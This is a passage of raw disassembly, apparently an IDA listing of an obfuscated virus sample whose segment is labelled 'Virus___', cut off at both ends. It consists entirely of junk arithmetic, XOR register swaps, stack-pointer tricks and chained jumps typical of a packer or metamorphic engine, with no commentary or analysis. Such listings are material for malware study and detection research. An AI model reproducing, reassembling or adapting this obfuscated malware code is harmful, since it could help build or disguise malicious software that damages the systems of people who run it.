eax, 70D77328h add eax, edi push edi mov edi, 70D77328h add eax, edi pop edi sub eax, 6E41540Fh sub esp, 4 mov [esp-38h+arg_32+2], edx mov edx, 0 jmp loc_54BFAB ; --------------------------------------------------------------------------- loc_543CFD: ; CODE XREF: sub_545A2B-1DF4j pop ebx jmp loc_54C30E ; --------------------------------------------------------------------------- loc_543D03: ; CODE XREF: sub_545A2B+7AD2j xchg edi, [esp-36h+arg_32] mov esp, [esp-36h+arg_32] jmp loc_547453 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5457F5 loc_543D0E: ; CODE XREF: sub_5457F5+8j push esp pop ebx add ebx, 4 push ebp push ebx push 72C46394h pop ebx shl ebx, 8 sub ebx, 0C46393FEh jmp loc_546183 ; END OF FUNCTION CHUNK FOR sub_5457F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543D2C: ; CODE XREF: sub_545A2B+2AC4j pop small word ptr [eax] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543D34: ; CODE XREF: sub_545A2B-339j pop esp xor ebp, [esp-3Ch+arg_36+2] xor [esp-3Ch+arg_36+2], ebp xor ebp, [esp-3Ch+arg_36+2] jmp loc_54EF59 ; --------------------------------------------------------------------------- loc_543D43: ; CODE XREF: sub_545A2B+1027j mov ah, dh mov ch, ah pop eax pop edx add al, 0A4h add al, 0BAh jmp loc_547855 ; --------------------------------------------------------------------------- loc_543D52: ; CODE XREF: sub_545A2B+70D4j mov esp, [esp-44h+arg_3E+2] mov [esp-44h+arg_3E+2], esi push [esp-44h+arg_42+2] pop esi pop [esp-44h+arg_3E+2] jmp loc_54C430 ; --------------------------------------------------------------------------- loc_543D65: ; CODE XREF: sub_545A2B+1052j xor [esp-48h+arg_42+2], ecx push [esp-48h+arg_42+2] mov eax, [esp-44h+arg_3E+2] push edx mov edx, esp jmp loc_5465FB ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_543D76 proc near ; CODE XREF: sub_545A2B+1D47j ; FUNCTION CHUNK AT 0054CC4E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0054D11B SIZE 00000008 BYTES push ebx mov ebx, 1CDE4781h and ebx, 465304E2h sub ebx, 0FFFFFFFFh sub ebx, 452047Dh jmp loc_54D11B sub_543D76 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543D90: ; CODE XREF: sub_545A2B+5565j push [esp-40h+arg_3A+2] mov edx, [esp-3Ch+arg_36+2] add esp, 4 push ebp mov ebp, esp jmp loc_54429B ; --------------------------------------------------------------------------- loc_543DA4: ; CODE XREF: sub_545A2B+1A91j mov esi, 1 mov edi, esi pop esi and eax, edi jmp loc_5485A3 ; --------------------------------------------------------------------------- loc_543DB3: ; CODE XREF: sub_545A2B+458Cj sub [esp-40h+arg_3A+2], 751A5B44h jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543DBF: ; CODE XREF: sub_545A2B+215Bj xor bh, 0CFh add dh, bh pop ebx or dh, 21h dec dh xor dh, 88h add dh, 27h add dh, 8Eh xor bl, dh pop edx sub al, bl pop ebx jmp loc_54E20F ; --------------------------------------------------------------------------- loc_543DDE: ; CODE XREF: sub_545A2B-1A3Dj add edi, ecx jmp loc_54C877 ; --------------------------------------------------------------------------- loc_543DE5: ; CODE XREF: sub_545A2B+9334j pop ecx jmp loc_54355D ; --------------------------------------------------------------------------- loc_543DEB: ; CODE XREF: sub_545A2B+1E46j not ecx jmp loc_543356 ; --------------------------------------------------------------------------- loc_543DF2: ; CODE XREF: sub_545A2B+1D04j sub [esp-50h+arg_4C], 15F22DDAh pop ecx push eax push edi push 4FA4104Fh pop edi add edi, 741A5E91h jmp loc_546F6C ; --------------------------------------------------------------------------- loc_543E0D: ; CODE XREF: sub_545A2B+930Aj sub eax, 4C5765D1h jmp loc_5486F2 ; --------------------------------------------------------------------------- loc_543E17: ; CODE XREF: sub_545A2B+2273j pop edx pop ebp add edi, ecx push esi jmp loc_548C31 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_543E21: ; CODE XREF: Virus___:0054DB0Aj push 0 sub [esp], edi pop edi sub edi, 0DECFD718h push edi add dword ptr [esp], 19503074h pop ebp sub ebp, 19503074h pop edi add eax, ebp pop ebp sub eax, ebx sub eax, 44644C96h push edi mov edi, 44730B66h jmp loc_547498 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543E55: ; CODE XREF: sub_545A2B+6E02j pop ecx or dl, bl pop ebx push ax mov al, 5Eh and dl, al jmp loc_54D84A ; --------------------------------------------------------------------------- loc_543E64: ; CODE XREF: sub_545A2B+49C3j mov dx, word ptr [esp-56h+arg_50+2] add esp, 2 mov di, ax jmp loc_54C16C ; --------------------------------------------------------------------------- loc_543E76: ; CODE XREF: sub_545A2B+1EE3j add al, bl add al, 50h push 75CDh mov [esp-56h+arg_50+2], ecx push eax jmp loc_54A99E ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, esp jmp loc_543A87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543EB1: ; CODE XREF: sub_545A2B-2587j mov edx, 3AAA6F45h xor edx, ebx pop ebx jmp loc_548BEF ; --------------------------------------------------------------------------- loc_543EBE: ; CODE XREF: sub_545A2B+5A50j push [esp-38h+arg_32+2] pop ebx add esp, 4 shl ebx, 2 dec ebx not ebx shl ebx, 1 neg ebx add ebx, 0FFFFFFFFh add ebx, 86A764EDh sub edx, 73853057h add edx, ebx add edx, 73853057h mov ebx, [esp-3Ch+arg_36+2] add esp, 4 push ebx jmp loc_54C41B ; --------------------------------------------------------------------------- loc_543EF8: ; CODE XREF: sub_545A2B+7404j pop [esp-3Ch+arg_36+2] add [esp-40h+arg_3A+2], 4 pop esi add esi, 4 push edi mov edi, 2 add esi, edi pop edi xor esi, [esp-44h+arg_3E+2] xor [esp-44h+arg_3E+2], esi xor esi, [esp-44h+arg_3E+2] mov esp, [esp-44h+arg_3E+2] shl word ptr [esp-44h+arg_3E+2], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543F25: ; CODE XREF: sub_545A2B+4909j xchg edi, [esp-40h+arg_3A+2] not edi jmp loc_54D175 ; --------------------------------------------------------------------------- loc_543F2F: ; CODE XREF: sub_545A2B-902j push 58720104h pop eax jmp loc_54C7BB ; --------------------------------------------------------------------------- loc_543F3A: ; CODE XREF: sub_545A2B+4D41j sub eax, esi pop esi add eax, ebx push ecx mov ecx, 28FC7679h shl ecx, 4 jmp loc_546F07 ; --------------------------------------------------------------------------- loc_543F4D: ; CODE XREF: sub_545A2B-5E3j push ecx mov cl, 9Bh or cl, 0CFh inc cl jmp loc_54A102 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_543F5A proc near ; CODE XREF: sub_545A2B-233Dj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005434F4 SIZE 0000002C BYTES push ebx mov bh, 2Ah inc bh push edx mov dl, 0C4h add bh, 2Bh sub bh, dl sub bh, 2Bh pop edx xor ch, bh mov ebx, [esp-4+arg_0] add esp, 4 and ch, 90h jmp loc_5434F4 sub_543F5A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_543F7B: ; DATA XREF: Virus___:00542D58o mov ax, [esp] jmp loc_54441D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543F84: ; CODE XREF: sub_545A2B+D74j and ecx, edx jmp loc_545E99 ; --------------------------------------------------------------------------- loc_543F8B: ; CODE XREF: sub_545A2B+3413j pop esp add esp, 4 xor edx, 7FD838EFh jmp loc_542F67 ; --------------------------------------------------------------------------- loc_543F9A: ; CODE XREF: sub_545A2B+319Fj mov ecx, 59B11A02h xor ecx, ebp xor ebp, ecx xor ecx, ebp inc ebp push ecx push 7C51h jmp loc_5481FD ; --------------------------------------------------------------------------- loc_543FB1: ; CODE XREF: sub_545A2B-2B1j sub ecx, 3A8E7284h dec ecx add ecx, 0C516F318h mov edx, ecx pop ecx or edx, 2A287328h dec edx shr edx, 7 sub edx, (offset loc_557CE2+1) jmp loc_543498 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5441BD loc_543FD6: ; CODE XREF: sub_5441BD+9j xor eax, 3CF753Dh jmp loc_549696 ; END OF FUNCTION CHUNK FOR sub_5441BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_543FE0: ; CODE XREF: sub_545A2B-19C6j not ecx xor ecx, 17EF4722h xor ecx, 0B1AA79A7h jmp loc_543DDE ; --------------------------------------------------------------------------- loc_543FF3: ; CODE XREF: sub_545A2B+4AFCj push esi jmp loc_546814 ; --------------------------------------------------------------------------- loc_543FF9: ; CODE XREF: sub_545A2B+50E7j neg edi or edi, 3E02152Eh jmp loc_54C18F ; --------------------------------------------------------------------------- loc_544006: ; CODE XREF: sub_545A2B+327Ej and ecx, edx pop edx jmp loc_54AE93 ; --------------------------------------------------------------------------- loc_54400E: ; CODE XREF: sub_545A2B-21D0j or esi, 56136E72h sub esp, 4 mov [esp-2Ah+arg_26], ecx push ebx mov ebx, 7C7C1068h mov ecx, ebx pop ebx or esi, ecx mov ecx, [esp-2Ah+arg_26] jmp loc_548BCF ; --------------------------------------------------------------------------- loc_54402D: ; CODE XREF: sub_545A2B+5F03j and ebx, 608D67F1h add ebx, 41FA6121h shl ebx, 7 jmp loc_549626 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544041: ; DATA XREF: Virus___:00542D5Co mov cx, [esp] sub esp, 4 mov [esp], ecx push 154Dh jmp loc_54BFD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544055: ; CODE XREF: sub_545A2B+2DA9j inc al jmp loc_548905 ; --------------------------------------------------------------------------- loc_54405C: ; CODE XREF: sub_545A2B+96F3j add esi, 0B92246A4h mov ecx, esi pop esi jmp loc_543FE0 ; --------------------------------------------------------------------------- loc_54406A: ; CODE XREF: sub_545A2B+8FEDj push eax mov eax, 602167F2h jmp loc_54E68C ; --------------------------------------------------------------------------- loc_544075: ; CODE XREF: sub_545A2B+4210j push ecx mov ecx, 3C10D53h jmp loc_54AB93 ; --------------------------------------------------------------------------- loc_544080: ; CODE XREF: sub_545A2B+5963j pop eax xor bl, 0C3h add al, bl pop ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 2 xchg ebx, [esp-2Ah+arg_26] pop esp mov word ptr [esp-2Eh+arg_2A], bx push ax mov ah, 0AEh mov bl, ah pop ax xor al, bl mov bx, word ptr [esp-2Eh+arg_2A] jmp loc_545B47 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_5440AE proc near ; CODE XREF: sub_545A2B-4B3j ; FUNCTION CHUNK AT 00543AC8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0054D19B SIZE 00000007 BYTES push ebp mov ebp, 5E8F34FCh xor ebp, 54721134h sub ebp, 28EB56FFh shr ebp, 5 dec ebp not ebp add ebp, 61FB07FDh add edx, ebp pop ebp jmp loc_54D19B sub_5440AE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5440D4: ; CODE XREF: sub_545A2B+7A69j pop ebp add esp, 4 pop [esp-36h+arg_32] mov esp, [esp-3Ah+arg_36] mov cx, word ptr [esp-3Ah+arg_36] sub esp, 4 mov [esp-36h+arg_32], ecx mov ecx, esp push edx mov edx, 4 push edx jmp loc_54941C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- mov ecx, [esp] push 35BAh mov [esp], ecx push esp pop ecx push eax mov eax, 4 sub ecx, 4B801990h sub ecx, 21BB7B75h add ecx, eax push edx mov edx, 10024F2Dh dec edx jmp loc_54BEB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544129: ; CODE XREF: sub_545A2B+26BCj push edx mov edx, esp add edx, 4 push eax mov eax, 58E53BFAh neg eax jmp loc_54A064 ; --------------------------------------------------------------------------- loc_54413F: ; CODE XREF: sub_545A2B+2F2Aj push 7985h mov [esp-22h+arg_1E], eax mov eax, 31BA051Ah jmp loc_54ED82 ; --------------------------------------------------------------------------- loc_544151: ; CODE XREF: sub_545A2B+4946j mov [esp-22h+arg_1E], ebx push ebp mov ebp, 500D5964h xor [esp-1Eh+arg_1E], ebp push [esp-1Eh+arg_1A] mov ebp, [esp-1Ah+arg_16] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_548C6A ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544174: ; CODE XREF: Virus___:0054573Cj mov [esp+4], al mov eax, [esp] add esp, 4 xor bl, dh xor dh, bl xor bl, dh not dh push cx mov cl, dh mov dh, bl jmp loc_5477AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544191: ; CODE XREF: sub_545A2B+7DDj push edx jmp loc_548521 ; --------------------------------------------------------------------------- loc_544197: ; CODE XREF: sub_545A2B+1242j xchg eax, [esp-16h+arg_12] pop esp add ebp, 4 jmp loc_543311 ; --------------------------------------------------------------------------- loc_5441A6: ; CODE XREF: sub_545A2B+179j add esp, 4 add esi, 4 xchg esi, [esp-1Eh+arg_1A] mov esp, [esp-1Eh+arg_1A] jmp loc_54C20D ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_5441BD proc near ; CODE XREF: sub_545A2B+1BDBj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00543FD6 SIZE 0000000A BYTES push ebp xor [esp+4+var_4], 3CF753Dh pop eax jmp loc_543FD6 sub_5441BD endp ; =============== S U B R O U T I N E ======================================= sub_5441CB proc near ; CODE XREF: sub_545A2B-16EDj ; FUNCTION CHUNK AT 0054D833 SIZE 00000009 BYTES push ebp mov ebp, 4 jmp loc_54D833 sub_5441CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5441D6: ; CODE XREF: sub_545A2B+729j pop esi add edx, edi jmp loc_54865C ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_5441DE: ; CODE XREF: Virus___:0054E737j mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_54EAD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5441F1: ; CODE XREF: sub_545A2B+175Bj mov esi, 605949C2h xor esi, 148B033Ch xor esi, 2FBF5686h add edx, esi jmp loc_54E9DF ; --------------------------------------------------------------------------- loc_544209: ; CODE XREF: sub_545A2B-873j mov ebp, 24h push ebp jmp loc_54F086 ; --------------------------------------------------------------------------- loc_544214: ; CODE XREF: sub_545A2B+4D87j add edx, 65150421h push ebx mov ebx, 4C3D0516h push ebp mov ebp, 35C60F37h jmp loc_5487AD ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5456BE loc_54422B: ; CODE XREF: sub_5456BE+Ej add edx, 5F9A78F7h add edx, esi sub edx, 5F9A78F7h mov esi, [esp+0] jmp loc_54C4A2 ; END OF FUNCTION CHUNK FOR sub_5456BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544241: ; CODE XREF: sub_545A2B+6D55j push edi mov edi, 59614E4Ch shl edi, 1 neg edi and edi, 47B82DAFh xor edi, 198277F7h or esi, edi pop edi xor esi, 390DA82Ah sub ebx, esi pop esi xor ecx, ebx pop ebx add eax, ecx pop ecx jmp loc_544525 ; --------------------------------------------------------------------------- loc_54426E: ; CODE XREF: sub_545A2B+82BAj mov eax, 2580728Fh dec eax jmp loc_549E0F ; --------------------------------------------------------------------------- loc_544279: ; CODE XREF: sub_545A2B+35B5j mov edi, 2433302Ch add eax, edi pop edi push [esp-26h+arg_22] pop ebx add esp, 4 xor ebx, eax sub esp, 4 mov [esp-26h+arg_22], edi jmp loc_547D73 ; --------------------------------------------------------------------------- loc_54429B: ; CODE XREF: sub_545A2B-1C8Cj push ecx push eax push 79307DB3h pop eax jmp loc_54DFCA ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_544532 loc_5442A8: ; CODE XREF: sub_544532-14F8j add esp, 4 sub al, cl push [esp+4+var_4] pop ecx push ebp mov ebp, esp add ebp, 4 push 42Dh mov [esp+0Ch+var_C], edi jmp loc_54B2A8 ; END OF FUNCTION CHUNK FOR sub_544532 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5442C7: ; CODE XREF: sub_545A2B+5815j add edx, ebp jmp loc_54B800 ; --------------------------------------------------------------------------- loc_5442CE: ; CODE XREF: sub_545A2B+7209j push ecx mov ecx, 7ED43145h mov ebx, 0CF6D22C2h add ebx, ecx pop ecx add edx, ebx pop ebx xor edx, 0E4D55D4h push ebp mov ebp, 1 sub edx, ebp pop ebp sub edx, 5FBB5D0Bh or [edi+1Ch], edx pop edx jmp loc_5461D8 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- push dword ptr [edi+38h] jmp loc_5476F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544305: ; CODE XREF: sub_545A2B-2715j mov [esp-10h+arg_A+2], edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp-14h+arg_E+2] pop esp sub eax, 414D1855h sub esp, 4 mov [esp-14h+arg_E+2], esi jmp loc_548D93 ; --------------------------------------------------------------------------- loc_544327: ; CODE XREF: sub_545A2B+9954j dec ebx or ebx, 73A5705Ah push ebp jmp loc_546DA5 ; --------------------------------------------------------------------------- loc_544334: ; CODE XREF: sub_545A2B+4707j xchg ebp, [esp-10h+arg_A+2] pop esp add esi, 4 jmp sub_5441CB ; --------------------------------------------------------------------------- loc_544343: ; CODE XREF: sub_545A2B+75C6j mov eax, [esp-14h+arg_E+2] add esp, 4 mov bh, 55h sub bh, ch jmp loc_54813E ; --------------------------------------------------------------------------- loc_544352: ; CODE XREF: sub_545A2B+764j mov eax, 74246539h add ebx, eax pop eax pop ebp xchg ebx, [esp-20h+arg_1A+2] pop esp jmp loc_545862 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_544364 proc near ; CODE XREF: sub_545A2B+218Aj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebp push esi push 0A1C1507h pop esi shl esi, 3 add esi, 3BDF014Ch dec esi add esi, 73405681h mov ebp, esi pop esi mov eax, ebp pop ebp add edi, eax mov eax, [esp+0] jmp loc_54BDC6 sub_544364 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544391: ; CODE XREF: sub_545A2B-11D1j mov ebx, ecx jmp loc_543393 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544398: ; DATA XREF: Virus___:00542D48o push dword ptr [esp] pop eax jmp loc_54B32E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5443A1: ; CODE XREF: sub_545A2B-B7Bj mov eax, 0FF800800h jmp loc_54C023 ; --------------------------------------------------------------------------- loc_5443AB: ; CODE XREF: sub_545A2B+341Dj mov [esp-24h+arg_1E+2], edx jmp loc_54D6A4 ; --------------------------------------------------------------------------- loc_5443B3: ; CODE XREF: sub_545A2B-1323j add dh, ch pop ecx sub dh, 8 jmp loc_547E28 ; --------------------------------------------------------------------------- loc_5443BE: ; CODE XREF: sub_545A2B+4BF3j add esi, 4 push edx mov edx, 4 jmp loc_54C274 ; --------------------------------------------------------------------------- loc_5443CF: ; CODE XREF: sub_545A2B+6A7Aj push edx push [esp-20h+arg_1E+2] jmp loc_54F2D7 ; --------------------------------------------------------------------------- loc_5443D9: ; CODE XREF: sub_545A2B+37AFj mov bx, word ptr [esp-1Ch+arg_16+2] add esp, 2 jmp loc_547DE7 ; --------------------------------------------------------------------------- loc_5443E8: ; CODE XREF: sub_545A2B+2E7Cj sub al, 37h push ecx mov cl, 34h sub al, cl pop ecx push edx mov dl, 8Bh push cx mov cl, ah mov ah, dl push eax push edx mov dh, cl mov ah, dh mov edx, [esp-12h+arg_E] add esp, 4 mov dl, ah pop eax jmp loc_544B2F ; --------------------------------------------------------------------------- loc_544410: ; CODE XREF: sub_545A2B+A3Fj push edx mov edx, 7D4737E4h add eax, edx jmp loc_5473D9 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54441D: ; CODE XREF: Virus___:00543F7Fj push esi mov esi, esp push 52Fh mov [esp], edx sub esp, 4 mov [esp], esi mov esi, 4 mov edx, esi jmp loc_544D79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54443D: ; CODE XREF: sub_545A2B+8BCCj sub [esp-16h+arg_12], 2FB70109h push [esp-16h+arg_12] push [esp-12h+arg_E] pop ebx add esp, 4 add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-16h+arg_12] pop esp jmp loc_546298 ; --------------------------------------------------------------------------- loc_54446C: ; CODE XREF: sub_545A2B+7AAFj xor ebx, [esp-1Ah+arg_16] pop esp mov ax, word ptr [esp-1Eh+arg_1A] push esi mov esi, esp push 74BEh jmp loc_546B47 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_544481 proc near ; CODE XREF: sub_545A2B+3619j var_4 = dword ptr -4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp loc_54C099 sub_544481 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544496: ; CODE XREF: sub_545A2B+57C8j mov ebp, 0FFFFFFFFh add edx, ebp pop ebp xor edx, 0C6FC8749h sub ecx, edx mov edx, [esp-1Ah+arg_16] jmp loc_54674E ; --------------------------------------------------------------------------- loc_5444AE: ; CODE XREF: sub_545A2B+7399j push 3878h jmp loc_54D99E ; --------------------------------------------------------------------------- loc_5444B8: ; CODE XREF: sub_545A2B+28BBj xor si, 175Fh neg si sub si, 9DD8h sub bp, si pop esi jmp loc_5494AD ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54ECC0 loc_5444CE: ; CODE XREF: sub_54ECC0+Dj pop ebx jmp loc_548D2D ; END OF FUNCTION CHUNK FOR sub_54ECC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5444D4: ; CODE XREF: sub_545A2B+9732j add [esp-1Ah+arg_16], 4 mov ebp, [esp-1Ah+arg_16] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-16h+arg_12] pop esp add ebp, 4 push edx jmp loc_54A82B ; --------------------------------------------------------------------------- loc_5444FD: ; CODE XREF: sub_545A2B+58A4j pop ebp sub esp, 4 mov [esp-16h+arg_12], ecx push edx push ecx mov ecx, 766E0C1Eh mov edx, ecx pop ecx and edx, 39C42003h or edx, 3C821015h and edx, 3FAC7F0Ah jmp loc_54DCE4 ; --------------------------------------------------------------------------- loc_544525: ; CODE XREF: sub_545A2B-17C2j push esi mov esi, 25D58B57h sub eax, esi jmp loc_545757 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_544532 proc near ; CODE XREF: sub_545A2B+560Fj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00543033 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005442A8 SIZE 0000001F BYTES sub esp, 4 mov [esp+4+var_4], ecx push eax mov ah, 86h jmp loc_543033 sub_544532 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544543: ; CODE XREF: sub_545A2B+1F50j pop ebx add ecx, ebx jmp loc_548433 ; --------------------------------------------------------------------------- loc_54454B: ; CODE XREF: sub_545A2B+9581j pop edx jmp loc_5467BE ; --------------------------------------------------------------------------- loc_544551: ; CODE XREF: sub_545A2B+2511j sub eax, 4 xchg eax, [esp-26h+arg_22] pop esp mov [esp-2Ah+arg_26], esp push 654Fh mov [esp-26h+arg_22], ebp push esi push 0F42290Ch pop esi not esi xor esi, 0F0BDD6F7h mov ebp, esi pop esi add [esp-26h+arg_26], ebp pop ebp jmp loc_54A9CA ; --------------------------------------------------------------------------- loc_54457F: ; CODE XREF: sub_545A2B+266Fj push 6F02h mov [esp-26h+arg_22], ebx jmp loc_5436EB ; --------------------------------------------------------------------------- loc_54458C: ; CODE XREF: sub_545A2B+20j push dword ptr [edi+1Ch] jmp loc_5477A3 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54D63C loc_544594: ; CODE XREF: sub_54D63C+Fj push edi inc [esp+4+var_4] jmp loc_548D33 ; END OF FUNCTION CHUNK FOR sub_54D63C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54459D: ; CODE XREF: sub_545A2B+2D93j add edx, 35C60F37h mov ebx, [esp-22h+arg_1E] push ecx mov ecx, esp add ecx, 4 jmp loc_545E91 ; --------------------------------------------------------------------------- loc_5445B4: ; CODE XREF: sub_545A2B+379Aj mov esi, [esp-1Eh+arg_1A] push ecx push esp pop ecx push edi mov edi, 4 add ecx, edi mov edi, [esp-16h+arg_12] add esp, 4 add ecx, 4 xor ecx, [esp-1Ah+arg_16] xor [esp-1Ah+arg_16], ecx xor ecx, [esp-1Ah+arg_16] pop esp add esi, 4D0E04BFh push eax jmp loc_54B7F3 ; --------------------------------------------------------------------------- loc_5445E4: ; CODE XREF: sub_545A2B+8D26j sub ah, 82h sub bl, ah pop eax sub bl, 86h pop ecx sub bl, al push ecx mov cl, 0B5h not cl shr cl, 5 sub cl, 93h shl cl, 4 shr cl, 6 add cl, 4Eh sub bl, cl jmp loc_54B00B ; --------------------------------------------------------------------------- loc_54460B: ; CODE XREF: sub_545A2B+6FB5j xor ecx, edi jmp loc_54E1CF ; --------------------------------------------------------------------------- loc_544612: ; CODE XREF: sub_545A2B+4874j add ebp, edx pop edx add ebp, 4 push ebp jmp loc_5460DE ; --------------------------------------------------------------------------- loc_544621: ; CODE XREF: sub_545A2B+849Bj push esi mov esi, 60B8277Bh jmp loc_545D5E ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54462C proc near ; CODE XREF: sub_545A2B+3A03j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], eax sub esp, 4 push esp jmp loc_548312 sub_54462C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54463B: ; CODE XREF: sub_545A2B+692Dj mov [esp-1Ah+arg_16], edx mov edx, esp push ebx mov ebx, 786909B3h and ebx, 38EA42BCh sub ebx, 386800ACh sub edx, 4BDB7D58h add edx, ebx add edx, 4BDB7D58h pop ebx add edx, 4 xchg edx, [esp-1Ah+arg_16] pop esp add edx, edi mov [edx], al push [esp-1Eh+arg_1A] mov edx, [esp-1Ah+arg_16] add esp, 4 add esp, 4 jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_544683: ; CODE XREF: Virus___:00543939j push esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 11CD39E9h mov esi, 33302E53h jmp loc_54A753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_5446A6: ; CODE XREF: sub_545A2B+5711j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5446AB: ; CODE XREF: sub_545A2B+638Ej add esp, 4 sub edx, 44A96F22h sub edx, 2324207h jmp loc_5457C6 ; --------------------------------------------------------------------------- loc_5446BF: ; CODE XREF: sub_545A2B+1C69j add esp, 4 xor esi, 254FD5C2h jmp loc_5470E7 ; --------------------------------------------------------------------------- loc_5446D0: ; CODE XREF: sub_545A2B+7894j pop eax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5446D6: ; CODE XREF: sub_545A2B+682Fj push esi mov esi, ebx mov ebp, esi jmp loc_54B8E1 ; --------------------------------------------------------------------------- loc_5446E0: ; CODE XREF: sub_545A2B+48E7j pop ebp jmp loc_54B6F3 ; --------------------------------------------------------------------------- loc_5446E6: ; CODE XREF: sub_545A2B+6C6Bj add ebx, edx mov edx, [esp-2Eh+arg_2A] add esp, 4 sub edx, ebx pop ebx jmp loc_54DCAF ; --------------------------------------------------------------------------- loc_5446F9: ; CODE XREF: sub_545A2B+52D4j pop eax jmp loc_54DC7F ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- lodsb jmp loc_54A466 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_544705: ; CODE XREF: sub_545A2B+7B9j add ch, 1 jmp loc_5443B3 ; --------------------------------------------------------------------------- loc_54470D: ; CODE XREF: sub_545A2B+93E8j and 